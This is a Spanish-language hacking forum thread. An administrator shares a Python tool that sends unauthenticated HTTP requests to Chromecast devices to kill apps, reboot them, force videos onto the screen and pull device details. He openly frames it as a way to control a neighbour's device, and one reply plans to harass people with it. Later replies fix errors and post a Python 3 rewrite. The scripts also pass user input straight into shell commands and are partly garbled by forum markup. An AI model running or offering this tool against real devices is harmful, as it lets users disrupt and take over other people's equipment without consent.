ChromeCast Hacking

  • 15 Respuestas
  • 13601 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5672
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

ChromeCast Hacking

  • en: Enero 02, 2018, 07:33:40 pm

Hola a todos!
En este breve tutorial, les dejaré una tool que sirve para hackear chromecast aunque tengan pin.
Esta tool esta hecha en python, por lo que necesitarán tenerlo instalado en sus PCs.

Lo primero que deben hacer es instalar pip, para ello ejecutarán:

Código: Python
  1. sudo apt-get install python-pip

Una vez instalado, deberemos instalar una librería llamada PyChromecast, para ello ejecutamos el siguiente comando:

Código: Python
  1. sudo pip install PyChromecast

Finalmente, desde la consola y utilizando python, podrán ejecutar el script:

Código: Python
  1. import pychromecast
  2. import os
  3.  
  4. while True:
  5.     menu = """
  6. 1. Scan For Chromecasts
  7. 2. Kill Current Running App
  8. 3. Reboot Chromecast
  9. 4. Play Video
  10. 5. Get Rick Rolled <img src="https://underc0de.org/foro/Smileys/default/wink.gif" alt=";&#41;" title="Guiñar" class="smiley" />
  11. 6. Info about chromecast
  12.    """
  13.     print menu
  14.  
  15.     choose = raw_input(">")
  16.  
  17.     if choose == "1":
  18.    print "<ul class="bbc_list"><li type="disc"> Scanning..."[/li][/list]
  19.         chromecasts = pychromecast.get_chromecasts()
  20.         myDevices = []
  21.    for device in chromecasts:
  22.          device.wait()
  23.            print(str(device))
  24.     elif choose == "2":
  25.         ip = raw_input("IP of Chrome Cast> ")
  26.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))
  27.  
  28.     elif choose == "3":
  29.         ip = raw_input("IP of Chrome Cast> ")
  30.         os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))
  31.  
  32.     elif choose == "4":
  33.         ip = raw_input("IP of Chrome Cast> ")
  34.    print "eg. v=dQw4w9WgXcQ"
  35.         video = raw_input("Link> ")
  36.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
  37.        
  38.     elif choose == "5":
  39.         ip = raw_input("IP of Chrome Cast> ")
  40.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))
  41.  
  42.     elif choose == "6":
  43.         ip = raw_input("IP of Chrome Cast> ")
  44.         os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))
  45.  
  46.     else:
  47. print "Error!"

Entre las opciones del script tenemos las siguientes:

Código: Text
  1. 1. Scan For Chromecasts
  2. 2. Kill Current Running App
  3. 3. Reboot Chromecast
  4. 4. Play Video
  5. 5. Get Rick Rolled <img src="https://underc0de.org/foro/Smileys/default/wink.gif" alt=";&#41;" title="Guiñar" class="smiley" />
  6. 6. Info about chromecast

No he podido testearlo a full porque no tengo un chromecast a mano ni vecinos con uno. Pero espero que alguno de ustedes pueda comentarnos con los resultados que obtuvo!

Repo: You are not allowed to view links. Register or Login

Saludos y espero que les sirva!
ANTRAX


Desconectado Leo_Al

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
  • Skype: wayercreew
    • Ver Perfil
    • Email

Re:ChromeCast Hacking

  • en: Marzo 11, 2018, 10:26:44 pm
Buenísimo, mi vecino tiene uno, voy a ver que onda. Gracias por aporte!

Desconectado xrahitel

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
  • Skype: xrahitel
    • Ver Perfil

Re:ChromeCast Hacking

  • en: Marzo 12, 2018, 01:14:19 am

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5672
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:ChromeCast Hacking

  • en: Marzo 12, 2018, 02:02:14 am
You are not allowed to view links. Register or Login


No te hace falta, el codigo está en el post.

Saludos,
ANTRAX


Desconectado KiddArabic

  • *
  • Underc0der
  • Mensajes: 301
  • Actividad:
    13.33%
  • Reputación 1
  • Vivir sin sueño no es vivir.
    • Ver Perfil

Re:ChromeCast Hacking

  • en: Marzo 12, 2018, 08:19:17 pm
no entiendo muy bien, puede manejarlo terceros ?

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5672
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:ChromeCast Hacking

  • en: Marzo 19, 2018, 09:41:44 am
You are not allowed to view links. Register or Login
no entiendo muy bien, puede manejarlo terceros ?

No entendí tu pregunta. Basicamente sirve para manejar el chromecast de tu vecino

Saludos,
ANTRAX


Desconectado sicalis

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • Skype: data.hosted
    • Ver Perfil
    • Email

Re:ChromeCast Hacking

  • en: Marzo 24, 2018, 07:08:04 am
root@You are not allowed to view links. Register or Login:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?

Desconectado luff1

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:ChromeCast Hacking

  • en: Marzo 26, 2018, 06:02:17 am
You are not allowed to view links. Register or Login
root@You are not allowed to view links. Register or Login:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Revisa si tu versión de Python coincide con la del script (2.x/3.x).
Un saludo

Enviado desde mi Aquaris X5 Plus mediante Tapatalk

Desconectado mrv0lk0vx

  • *
  • Underc0der
  • Mensajes: 7
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:ChromeCast Hacking

  • en: Marzo 30, 2018, 09:15:20 pm
You are not allowed to view links. Register or Login
root@You are not allowed to view links. Register or Login:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Buenas, solo falta poner una tabulación antes del print.. 
Con eso se soluciona el error. Igual me salia ese error.  :P
Saludos.

Desconectado Gn0m3

  • *
  • Ex-Staff
  • *****
  • Mensajes: 410
  • Actividad:
    46.67%
  • Country: 00
  • Reputación 2
  • Karma is a bitch, but I'm Worst and Faster...
    • Ver Perfil
    • Underc0de

Re:ChromeCast Hacking

  • en: Abril 01, 2018, 07:50:01 am
Al correrlo me da lo siguiente... ::)


Código: You are not allowed to view links. Register or Login
Traceback (most recent call last):
  File "Cc.py", line 1, in <module>
    import pychromecast
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/__init__.py", line 9, in <module>
    from .config import *  # noqa
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/config.py", line 6, in <module>
    import requests
  File "/usr/local/lib/python2.7/dist-packages/requests/__init__.py", line 84, in <module>
    from urllib3.contrib import pyopenssl
  File "/usr/lib/python2.7/dist-packages/urllib3/contrib/pyopenssl.py", line 46, in <module>
    import OpenSSL.SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import crypto, SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/crypto.py", line 12, in <module>
    from cryptography import x509
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/__init__.py", line 8, in <module>
    from cryptography.x509.base import (
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/base.py", line 16, in <module>
    from cryptography.x509.extensions import Extension, ExtensionType
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/extensions.py", line 24, in <module>
    from cryptography.x509.general_name import GeneralName, IPAddress, OtherName
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/general_name.py", line 18, in <module>
    from cryptography.x509.name import Name
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/name.py", line 28, in <module>
    _ASN1_TYPE_TO_ENUM = dict((i.value, i) for i in _ASN1Type)
TypeError: 'type' object is not iterable

Ideas?

Saludos

Gn0m3

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5672
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:ChromeCast Hacking

  • en: Abril 06, 2018, 04:00:45 pm
Pregunta tonta, pero no esta de más...
Lo corriste con sudo?

Saludos,
ANTRAX


Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 36
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil

Re:ChromeCast Hacking

  • en: Abril 06, 2018, 05:22:27 pm
Va como piña, voy a molestar a unos cuantos. Excelente aporte !

Saludos, NERV0.
“Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla”

Desconectado Gn0m3

  • *
  • Ex-Staff
  • *****
  • Mensajes: 410
  • Actividad:
    46.67%
  • Country: 00
  • Reputación 2
  • Karma is a bitch, but I'm Worst and Faster...
    • Ver Perfil
    • Underc0de

Re:ChromeCast Hacking

  • en: Abril 07, 2018, 08:10:59 pm
La corri como root:
Probe con Python 2.7.14+
y
con
Python 3.6.5rc1

Desconectado Gn0m3

  • *
  • Ex-Staff
  • *****
  • Mensajes: 410
  • Actividad:
    46.67%
  • Country: 00
  • Reputación 2
  • Karma is a bitch, but I'm Worst and Faster...
    • Ver Perfil
    • Underc0de

Re:ChromeCast Hacking

  • en: Abril 08, 2018, 05:47:37 pm
Bueno, ya pude resolver mi problema, se los dejo por si alguien le sucede lo mismo tenga forma de arreglarlo.

El problema lo encuentra al buscar enum en el fichero /usr/lib/python2.7/dist-packages/cryptography/x509/name.py

Lo que sucede es que por mas que tengamos enum34 que es el que se debe utilizar, no se actualiza en el archivo mencionado anteriormente.

Debemos abrir /x509/name.py, y editar la linea que dice:

from enum import Enum

le agregamos el 34 para que quede así:

from enum34 import Enum


Guardamos y listo.


Espero le sirva a alguien.

Saludos.

Gn0m3

Desconectado Gn0m3

  • *
  • Ex-Staff
  • *****
  • Mensajes: 410
  • Actividad:
    46.67%
  • Country: 00
  • Reputación 2
  • Karma is a bitch, but I'm Worst and Faster...
    • Ver Perfil
    • Underc0de

Re:ChromeCast Hacking

  • en: Abril 08, 2018, 06:25:01 pm
Bueno, de nuevo yo, jajaja
tenia algunos problemas al querer usarlo con Python3, asique lo edite para Python3 y le agregue un Exit al menu para poder salir.

Código: Python
  1. ####################################################
  2. ####################################################
  3. #| | | |_ __   __| | ___ _ __ ___ / _ \  __| | ___ #
  4. #| | | | '_ \ / _` |/ _ \ '__/ __| | | |/ _` |/ _ \#
  5. #| |_| | | | | (_| |  __/ | | (__| |_| | (_| |  __/#
  6. # \___/|_| |_|\__,_|\___|_|  \___|\___/ \__,_|\___|#
  7. ####################################################
  8. ####################################################
  9.  
  10. import pychromecast
  11. import os
  12.  
  13. while True:
  14.     menu = """
  15. 1. Scan For Chromecasts
  16. 2. Kill Current Running App
  17. 3. Reboot Chromecast
  18. 4. Play Video
  19. 5. Get Rick Rolled
  20. 6. Info about chromecast
  21. 0. Exit
  22.    """
  23.     print (menu)
  24.  
  25.     choose = input (">")
  26.  
  27.     if choose == "1":
  28.         print ("<ul class="bbc_list"><li type="disc"> Scanning...")[/li][/list]
  29.         chromecasts = pychromecast.get_chromecasts()
  30.         myDevices = []
  31.         for device in chromecasts:
  32.             device.wait()
  33.             print(str(device))
  34.     elif choose == "2":
  35.         ip = raw_input("IP of Chrome Cast> ")
  36.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))
  37.  
  38.     elif choose == "3":
  39.         ip = raw_input("IP of Chrome Cast> ")
  40.         os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))
  41.  
  42.     elif choose == "4":
  43.         ip = raw_input("IP of Chrome Cast> ")
  44.         print ("eg. v=dQw4w9WgXcQ")
  45.         video = raw_input("Link> ")
  46.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
  47.        
  48.     elif choose == "5":
  49.         ip = raw_input("IP of Chrome Cast> ")
  50.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))
  51.  
  52.     elif choose == "6":
  53.         ip = raw_input("IP of Chrome Cast> ")
  54.         os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))
  55.  
  56.     elif choose == "0":
  57.         break
  58.     else:
  59.         print ("Error!")
  60.  

Saludos

Gn0m3
« Última modificación: Abril 08, 2018, 06:27:24 pm por Gn0m3 »

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5672
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:ChromeCast Hacking

  • en: Abril 08, 2018, 07:56:28 pm
Tremendo aporte @You are not allowed to view links. Register or Login
Mil gracias!


 

Hacking Google + Archive.org = Archive.is

Iniciado por Rootkit_Pentester

Respuestas: 9
Vistas: 8776
Último mensaje Marzo 29, 2020, 02:18:00 pm
por gorkiam
Legal Hacking 2 - Descargas ¿Qué es legal y qué no?

Iniciado por HATI

Respuestas: 0
Vistas: 4028
Último mensaje Marzo 10, 2017, 10:00:18 pm
por HATI
Hacking "Password Self Manager"

Iniciado por Rootkit_Pentester

Respuestas: 0
Vistas: 3084
Último mensaje Abril 08, 2018, 11:36:04 am
por Rootkit_Pentester
Taller de Hacking con buscadores 4. "Shodan.io"

Iniciado por Rootkit_Pentester

Respuestas: 2
Vistas: 4486
Último mensaje Junio 15, 2018, 03:26:08 am
por Rootkit_Pentester
Taller de Hacking con buscadores 3 "Censys.io"

Iniciado por Rootkit_Pentester

Respuestas: 0
Vistas: 3482
Último mensaje Marzo 31, 2018, 07:33:44 pm
por Rootkit_Pentester